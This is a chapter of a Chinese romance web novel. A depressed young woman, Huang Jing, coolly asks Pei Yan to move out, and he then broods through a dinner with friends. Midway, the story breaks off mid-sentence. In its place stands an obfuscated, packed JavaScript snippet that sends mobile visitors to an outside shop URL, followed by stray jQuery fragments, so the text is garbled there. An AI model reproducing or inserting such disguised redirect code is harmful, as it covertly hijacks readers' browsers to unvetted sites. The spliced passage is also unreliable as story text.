傍晚五点多，黄晶醒了。脑袋不沉，身体不酸，睡饱了的感觉像是被重新充了一次电。她去卫生间洗了把脸，对着镜子看了看自己——脸色比早上好多了，左脸颊那道疤已经淡得几乎看不出来。
黄晶擦干脸上的水珠，又从衣柜里拿出干净衣服换上：一件黄色毛绒针织开衫，里面是白色吊带，下半身浅色阔腿裤。她把头发重新扎好，戴上眼镜，镜片后面的眼睛很清亮，没有刚睡醒的迷糊，也没有早上那种自嘲式的笑意。
黄晶走回客厅，在沙发上端端正正地坐着，双手交叠放在膝盖上。她的表情很平静，平静到裴砚从厨房转过身看到她的第一眼，就知道她接下来要说的话是经过深思熟虑的。
黄晶的理智回笼了，上午那些恐惧、不安、自我反省，加上刚才充足的睡眠，让她终于有能力用冷静的头脑来审视这段关系。
“我认真想了想，你还是要回去。”黄晶开口，语气平静而坚定，“昨天到今天发生太多事了。我把你砸伤了，还害你进医院。虽然不是故意的，但这说明我现在这个状态，不适合跟人住在一起。”
她条理清晰地陈述着她的理由：她的抑郁还没好，情绪不稳定，可能还会有下一次应激反应；而他们认识的时间太短，互相了解太少，她对他几乎一无所知，换任何一个正常人，都不会让一个认识才几天的陌生人住在自己家里。
黄晶感谢他这两天的照顾——煮粥、吹头发，都很周到，她真心感谢。但正是因为他做得太好了，好到她差点忘了他们才认识不到一周，好到她开始理所当然地接受本该警惕的亲近。
她最后轻声说，“所以，你得回去。这不是你的问题，是我的问题。”
“你刚才说，”裴砚把手里那杯水放在茶几上，在她对面坐下，和她面对面，中间隔着那张磕过她膝盖的茶几，“换任何一个正常人，都不会让认识几天的人住在家里。”
他抬起眼，目光平静地迎上她镜片后面那双眼睛，“但你也说了，你不是‘正常人’。”
黄晶愣了一下。这话要是换个人说，大概会被当成骂人，但从他嘴里说出来，语气平淡得像在陈述天气预报。她一时不知道该怎么接，下意识反问：“……你说什么？”
“你说的，”裴砚继续道，“你有抑郁症，在吃药，情绪不稳定，你说你不是正常人。所以我也不算认识几天的人。你砸过我，送我去过医院，见过我没睡醒的样子，还吃过我煮的粥。不是时间长短的问题，是密度。你不需要信任一个认识几天的人，你只需要信任我。”
裴砚把水杯往她那边推了推，“你说对陌生人要保持警惕，是对的。但我不是陌生人，我是你砸过的人。”
“OK，我知道你是哲学专业的，你能说会道。”黄晶推了下眼镜，把那条刚被他拉过来的逻辑线又拽了回去，“但是，就算我不小心砸过你，你也是陌生人。只不过是被我砸过的陌生人——多加了一个限定词，不代表本质就变了。被馒头噎过的馒头还是馒头，被你掰开的馒头也还是馒头，不管是你掰的还是我掰的，它就是个馒头。你也是同理。”
“那我们签过的合同呢？”裴砚忽然问。他手里还拿着她之前用来涂碘伏的棉签，已经干了，在指尖转了一圈。“那个也算限定词。租房合同改的，押一付一，你留过我的名字。”
他顿了顿，用她刚才自己说过的逻辑补充道，“被黄晶签过合同的陌生人——这个限定词够不够长？”
“所以你小学是在国内学的吧？”黄晶双手抱在胸前，后背挺直，拿出了当年考教资的架势，“你语文考过缩句吗？不管前面加多少修饰词——‘被我砸过的’、‘被合同签过的’、‘掰过馒头的’——把这些定语全部删掉，核心主语还是‘陌生人’。主语没变，本质就没变。而我，”她指了指自己，语气平稳而坚定，“要对我自己负责。”
裴砚手里那根棉签停止了转动。他听懂了，她不是在跟他玩文字游戏，也不是在欲擒故纵，更不是在情绪化地推开他。她是在用一种极其冷静的方式，向他陈述一个她认为无可辩驳的事实：不管他们之间发生过多少事，在她那里，他还没有通过安全审查。而她的安全审查标准，不因任何修饰定语而降低。
她说得没错，她的确在对自己负责。
裴砚沉默片刻，把那根棉签放在茶几上，然后抬头看她，问了她一个问题：“那你要怎么才能对我放心？”
“我不知道。”
“但我知道，”黄晶没有躲开他的目光，声音不大但很稳，稳到她自己都有点意外，“不是现在。”
“我现在没办法判断你是好人还是坏人。你对我很好——煮粥、吹头发、被我砸了也不生气——但这些不足以证明什么。人心隔肚皮，万一你是装的呢？万一你只是脾气好呢？脾气好的人也可能是坏人。”
黄晶深吸一口气，把最后那句话说了出来，“所以在我能判断之前，你不能再住在这里。这是对我自己负责，也是对你负责。我不想哪天又应激了，再拿什么东西砸你。”
裴砚沉默了很久。茶几上那根棉签已经被他放下来了，她的水杯还冒着最后一丝热气，窗外的天光正在从金色转成灰蓝。然后他从地板上站起来，走到沙发旁边，把自己那个黑色行李袋从角落里拎出来，放在茶几上。“好，”他说，“我今天回去。”
裴砚把茶几上那支已经有些蔫的芍药往里挪了挪，免得被行李袋碰倒，然后往门口走去。
黄晶还坐在沙发上，手搭在膝盖上，指甲抠着掌心。她看着他把行李袋放在门口，弯腰换鞋——那双深灰色拖鞋被脱下来整齐地放在鞋柜旁边，和她那双洞洞鞋并排。
“冰箱里还有半盒草莓。记得吃。”裴砚说完拉开门，没有回头，声音和平时一样平淡，但这句话的尾音在安静的房间里停留了很久——“等你觉得可以判断的时候，给我打电话。”
门在他身后轻轻合上。
裴砚被赶出八角的那间出租屋后，没有直接回自己的公寓。
他拎着黑色行李袋走出单元楼时，天已经快黑了。袋子里其实没多少东西——几件换洗衣服，一双拖鞋，一把牙刷，还有那张被她作废的租房合同，折得整整齐齐放在内侧口袋里。
裴砚把行李袋扔进后备箱，发动车，车里很安静。他没有去碰蓝牙。
手机震了一下。霍云峥的微信言简意赅——“晚上七点，老地方，靳哥组的局。”他盯着这条消息看了几秒，对方又追了一条：“带上你那个姑娘。”
“不去。”
“靳哥点名让你来。你最近总不见人，他都问了两次了。”
裴砚没再回复，把手机扣在副驾驶座上，盯着方向盘沉默了一会儿，然后发动了车。
到私房菜馆时已经比平时晚了半小时。推门进去，靳司坐在主位上正在倒茶，苏衍之靠在椅背上玩手机，霍云峥抬眼看到他，目光在他手臂上停了一秒——那里还有昨晚台灯砸出来的淤青，虽然被长袖遮住了大半，但手腕活动时还是会露出来一截青紫。
霍云峥没说话，把桌上那杯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634932|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
已经倒好的威士忌往他空位方向推了推。裴砚坐下，端起酒杯，没喝，放回去了。
苏衍之笑眯眯地端着酒杯开口：“听说你最近住八角那边？那边房租怎么样？”
裴砚没看他，拿起茶杯：“去办点事。”
苏衍之“哦”了一声，尾音拖得意味深长，没有再追问，但手指在桌面上轻轻敲了两下，像是在记一条待核查的线索。
靳司把茶壶放下，问了句：“手怎么了？”
“撞的。”
霍云峥夹了一筷子菜，随意的补了句：“下次撞的时候注意点，别撞到骨裂。”
裴砚没接话。
饭局过半，聊的都是些无关痛痒的事。苏衍之说最近在798投了个画廊，霍云峥说家里老爷子又催婚，靳司全程不怎么开口，只在关键处点一两句。
中间苏衍之忽然提了句：“对了，上次那个姑娘——叫什么来着，黄晶？闻则远说她后来跟你走了。那天晚上没什么事吧？”
裴砚端起酒杯喝了一口：“没事。”
苏衍之点点头，没有继续问，但嘴角微微翘起，像是在读一本翻到一半的书，正看到最有趣的章节。
后来话题转到五一安排。苏衍之说去日本，霍云峥说公司加班，靳司说他没安排，忽然转向裴砚：“你妈昨天跟我妈打麻将，说五一让你回家吃饭，你二哥带女朋友回来。她还说林家那女儿也回来，你们年轻人可以见见。”
裴砚放下筷子，“不去。我有事。”
靳司没再追问。
裴砚知道这顿饭的意思——不只是叙旧，是替他妈传话，试探他最近在干什么，并提醒他“你不只是裴砚，还是裴家的老三”。
但他现在满脑子只想着一个人——那个把他从家里赶出来、让他等她电话的黄晶。她今晚有没有好好吃饭？膝盖上的淤青消了没？是不是又在沙发上睡着了没盖被子？
饭局还没结束，他就想走了。这是他以前从没有过的感觉——在一群他认识了十几年的人中间，想念一个才认识几天的人。
饭局散场后，裴砚开车回自己的公寓。推开门，灯是灭的，空气是冷的。他把行李袋放在玄关，换鞋，走到客厅，在沙发上坐下来。没开电视，没看手机，就那么安静地坐了很久。
然后他站起来，从行李袋里翻出那份被她作废的合同——租房合同改的包养协议，押一付一，工资两千，服务内容在空白处手写补充。
裴砚看着上面她一笔一划写的字，想起她今天下午坐在沙发上，用缩句理论把他说成“被砸过的陌生人”。她把合同作废了，把关系解除了，把这几天的荒唐重新归档为“人生中的一场意外”。
他本该无所谓——本来一开始就是奔着找乐子去的，现在乐子散了，各回各家，不是正好吗？但他发现自己并没有觉得解脱，只是在想，她说“你还是要回去”的时候，语气冷静得让他陌生。
裴砚打开手机，翻了翻这几天的备忘录。
第一条：粥，米水比例一比六，稠了改一比八。
第二条：不吃葱。酱油少放。
第三条：洗澡前，温水一壶。
第四条：她怕敲门声。
他一条一条往下翻，手指在屏幕上停住了。备忘录里全是她。没有一条是写给自己的。
裴砚把手机锁屏，放在茶几上，盯着天花板上那盏吸顶灯看了很久。光很亮，但没有温度。窗外四环路上的车流像一条缓慢移动的光河。这个夜景以前很好看，现在只觉得吵闹。